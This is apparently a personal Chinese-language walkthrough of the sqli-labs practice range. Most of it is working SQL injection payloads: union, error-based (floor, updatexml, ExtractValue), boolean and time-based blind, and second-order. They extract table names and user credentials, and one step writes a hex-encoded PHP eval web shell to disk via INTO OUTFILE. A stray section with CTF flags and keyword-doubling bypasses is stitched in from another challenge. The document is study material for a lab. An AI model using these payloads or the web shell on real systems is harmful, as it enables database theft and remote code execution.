0%

sqli-lab靶场通关记录

基于报错注入

单引号字符型注入

字符型注入还是数字型注入

?id=1' //等号前后不能有空格,即不能是?id = 1'这样

image-20240911225450764

是否为单引号闭合型注入

?id=1'--+

--+把后面的内容注释掉,然后回显正常,说明是单引号闭合型注入

image-20240911225916591

该语句查询了几列数据

?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+
?id=1' order by 4--+

一直到3时依然回显正常,到4就开始报错,说明查询了3列数据。那么,我们现在构造的,union后面的语句中也要查询3列。

image-20240911230911434

image-20240911225916591

会显示哪几列

?id=-1' union select 1,2,3--+
-1 是因为前面要错误,union后面的才能执行

通过回显2,3可知,是第二,三列

image-20240911231819368

查询数据库名

?id=-1' union select 1,2,database()--+

显示当前的数据库名是security

image-20240911232330147

查询表名

?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'--+

首先要知道,**group_concat()函数会将查询的表名连在一起输出,然后,有一个information_schema库,该库中有一个tables表,该表存有所有数据库的表名。**table_schema='security'表示查询table_schema字段为security的列,再加上前面的table_name(tables表中的一个列名,下面全是各种库中的表名),表示查询security库的所有表名。

image-20240911233736048

查询列名

group_concat(table_name),3,4,5 frfromom infoorrmation_schema.tables WHERE table_schema='ctf'--+

group_concat(column_name),3,4,5 frfromom infoorrmation_schema.columns where table_schema='ctf' and table_name='flag'--+

group_concat(flag),3,4,5 frfromom flag--+

ZLCTF{21232f297a57a5a743894a0e4a801fc3-084e0343a0486ff05530df6c705c8bb4-a4346e75cc1dd161a8d57f3b2d5d82d0}

ZLCTF{5acb72b8-137f-4daa-a647-340b72101d4b}
Your Password:admin,guest,virink

schema_name,3,4,5 frfromom infoorrmation_schema.schemata--+

information_schema,performance_schema,mysql,test,ctftraining,ctf
ctf:flag,users

tables表相似,information_schema库中有一个columns表,存有所有数据库的列名。上面语句表示,查询security库中的users表中的所有列名。

image-20240911234752459

查询列表中的内容

?id=-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users--+

image-20240911235254031

数字型注入

传入?id=1,正常回显

image-20241029144140515

传入?id=1',回显的报错中没有显示我们传入的数字

image-20241029144207150

传入?id=1--+,正常回显

image-20241029144240783

因此得知本关是基于报错的数字型注入

单引号变形字符型注入

第一关的闭合符号是'

image-20241029143718824

本关的闭合符号变成了')

image-20241029143849314

双引号变形字符型注入

传入?id=1',依旧回显正常,这时候可以猜测一下是不是双引号闭合

image-20241029145629173

传入?id=1",根据报错回显确定了,闭合符号是")

image-20241029145816812

通过函数报错注入

通过floor报错

该方法最多回显64个字符。

爆数据库、版本、用户

# ?id=1'和?id=-1'都行
UNION SELECT count(*),0,concat(
0x3a, #利用 : 隔开数据库名称
(SELECT database()),
0x3a,
floor(rand(0)*2)
) as x FROM information_schema.tables group by x--+
#后半段格式:as xxx from 表名 group by xxx--+

爆表

UNION SELECT count(*),0,concat(
0x3a,
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),
0x3a,
floor(rand(0)*2)
) as x FROM information_schema.tables group by x--+

爆列

UNION SELECT count(*),0,concat(
0x3a,
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users'),
0x3a,
floor(rand(0)*2)
) as x FROM information_schema.tables group by x--+

爆内容,这里不知道为什么用group_concat()不行

UNION SELECT count(*),0,concat(
0x3a,
(SELECT username FROM users limit 1), #password和username都只能爆出username
0x3a,
floor(rand(0)*2)
) as x FROM information_schema.tables group by x--+

updatexml报错

原理

最多回显32个字符。

updatexml()使用时,当xpath_string格式出现错误,masql会报出语法错误,而执行结果也在错误里。对于select * FROM test WHERE id=1 AND updatexml(1,0x7e,1);,其中0x7e~,其不属于xpath语法格式,因此报出xpath语法错误。
只有在payload返回的不是xml格式才会生效。

注入流程

爆数据库、版本号、用户名

#传入 ?id=1'+payload
#payload如下
AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

concat()是连接函数。

爆表

AND updatexml(1,concat(
0x7e,
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),
0x7e
),1)--+

爆列

AND updatexml(1,concat(
0x7e,
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'),
0x7e
),1)--+

爆内容

AND updatexml(1,concat(
0x7e,
substr((SELECT group_concat(username) FROM users),1,32),
0x7e
),1)--+

利用substr()函数绕过字数限制,爆出所有内容。

ExtractValue报错

最多回显32个字符。

爆数据库、版本号、用户名

AND ExtractValue(1,concat(0x7e,(SELECT database()),0x7e))--+

爆表

AND ExtractValue(1,concat(
0x7e,
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),
0x7e))--+

爆列

AND ExtractValue(1,concat(
0x7e,
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users' ),
0x7e))--+

爆内容

AND ExtractValue(1,concat(
0x7e,
substr((SELECT group_concat(password) FROM users),1,31),
0x7e))--+

Lass-7文件写入

参考文章:Mysql注入中的outfile、dumpfile函数详解 - gxy* - 博客园

into outfile命令

运用该命令的格式如下

SELECT...into outfile '绝对路径'
SELECT 1,2,3 into outfile '绝对路径'
SELECT null,0x3c3f70687020406576616c28245f504f53545b227368656c6c225d293b203f3e,null
into outfile '绝对路径'
#0x3c3f70687020406576616c28245f504f53545b227368656c6c225d293b203f3e是<?php @eval($_POST["shell"]); ?>对应每个字符的十六进制连成的

0x3c3f70687020406576616c285f504f53545b227368656c6c225d293b203f3e

0x3c3f70687020406576616c28245f504f53545b227368656c6c225d293b203f3e对应每个字符的十六进制连成的。

secure_file_priv参数

​ 因为涉及到在服务器上写入文件,所以into outfile函数能否成功执行受到参数secure_file_priv的影响,可以利用select @@secure_file_priv命令查询其值。

  • secure_file_priv=''时,对导入导出无限制
  • 当为指定的目录时,只能向指定的目录导入导出
  • secure_file_priv=NULL时,禁止导入导出功能
条件
  • 知道绝对路径
  • 在数据库配置文件中含有配置项secure_file_priv=''
  • 具有root权限

还有into dumpfile()load_file()这两个函数以后可能也会用到。

布尔盲注

SQL注入之布尔盲注——sql-lab第八关

布尔盲注详解

相关函数

设置字符串str='hmhwazyt5799'

  • length(str)返回字符串的长度,12
  • left(str,1)返回字符串str的第1个字符,h
  • ascii(left(str,1))返回hascii码,49
  • substr((str),9,4)返回str中从第9个字符开始长度为4的字符串,5799
image-20241031214502415

注入流程

注:前面求闭合符号略过,传入?id=1'+payload即可。

  • 爆库名长度
SELECT * FROM tab WHERE id=1 AND (length(database())=8)

设置变量

image-20241031182917813

设置payload

image-20241031183010480

爆破

image-20241031182811644

成功确定数据库名长度为8

  • 爆数据库
SELECT * FROM tab WHERE id=1 AND (left(database(),1)='s')
SELECT * FROM tab WHERE id=1 AND (ascii(left(database(),1))=57)
SELECT * FROM tab WHERE id=1 AND (ascii(substr(database(),1,1))=57)

设置变量和攻击方式,这里采取Clustter bomb攻击

QQ_1730382622041

设置payload

image-20241031215143950 image-20241031215206013

爆破

image-20241031215748696
image-20241031215539921
image-20241031215559791
image-20241031215853258
image-20241031220417430
image-20241031220443739
image-20241031220522121
!image-20241031220655801

成功确定数据库security

  • 爆表个数
AND (SELECT count(table_name)
FROM information_schema.tables
WHERE table_schema=database())=4
  • 爆各个表长度

注意:length括在select外,二者间要加两个括号。

image-20241101144846331
#爆第一个表的长度
AND length((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=6
image-20241101144922983
#爆第二个表的长度
AND length((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))=8
image-20241101144948805
#爆第三个表的长度
AND length((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 2,1))=7
image-20241101145035538
#爆第四个表的长度
AND length((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 3,1))=5
  • 爆各个表名
#第四个表的第一个字符u的ascii码
AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 3,1),1,1))=117
  • 爆指定表中列个数
AND (SELECT count(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users')=3
  • 爆各个列长度
#users表中的第2列username的长度
AND length((SELECT column_name FROM information_schema.columns WHERE table_schema='security' and table_name='users' LIMIT 1,1))=8
  • 爆各个列名
#users表中的第3列password的第2个字符的ascii码
AND ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' and table_name='users' LIMIT 2,1),2,1))=97
  • 爆字段个数
AND (SELECT count(username) FROM users)=14
  • 爆各个字段长度
#users表中的username列的第1个字段的长度
AND length((SELECT username FROM users LIMIT 0,1))=4
  • 爆字段
AND ascii(substr((SELECT username FROM users LIMIT 0,1),1,1))=68

脚本

时间盲注

​ 时间盲注与布尔盲注相似,不同的是执行正确与否的参考,由是否报错变成了是否执行sleep()函数。测试的核心语句是AND if(查询语句,sleep(3),1)

AND if(length(database())=8,sleep(3),1)
#如果 length(database())=8 为真(1),执行sleep(3)
AND elt(length(database())=8,sleep(3))
#如果 length(database())=8 为真(1),执行sleep(3)

POST

Lass-11

输入1'回显信息如下,可以推断出传参格式是username='' and password=''

image-20241101193611754

输入1' or 1=1#,得username='1' or 1=1#',回显正常,这里用--+注释会失败,要用#注释

image-20241101194908735

接下来就按照Pass-1的思路,使用**union联合查询**注入即可

Lass-12

输入1,回显错误,无报错信息

image-20241101200021319

输入1',回显错误,无报错信息

image-20241101200059415

输入1",回显错误,有报错信息,据此推断出闭合符号为")

image-20241101200133728

尝试输入1") or 1=1#,回显正确

image-20241101200210040

接下来使用**union联合查询**

Less-17

​ 本题有一个坑,Username中需填入正确的用户名,注入位置在Password处,使用**updatexml()函数报错注入**即可。

但是当我们爆字段时又出现了另一个问题,输入下面payload

1' and updatexml(1,concat(0x7e,substr((select group_concat(username) from users),1,32),0x7e),1)#

有如下报错

image-20241101212954595

修改payload,使**select的结果再通过一个中间表select多一次**,便可以绕过上面的问题

AND updatexml(1,concat(0x7e,substr((SELECT group_concat(username) FROM (SELECT * FROM users) as hmhwazyt5799),1,32),0x7e),1)#

成功返回username字段内容

image-20241101214340490

二次注入

往往一次注入后,还要注入第二次才能执行命令。

对于这种

image-20250111143734313

可以像下面这样注入

1"||updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)#

绕过字数限制的一些函数

  • substr
  • left
  • regexp正则匹配
select(group_concat(flag))from(users)where(flag)regexp('^f')
#匹配字符f,并以第一个f开始输出
  • reverse逆转输出
reverse(select group_concat(flag) from users)
#会倒着从最后一个字符开始输出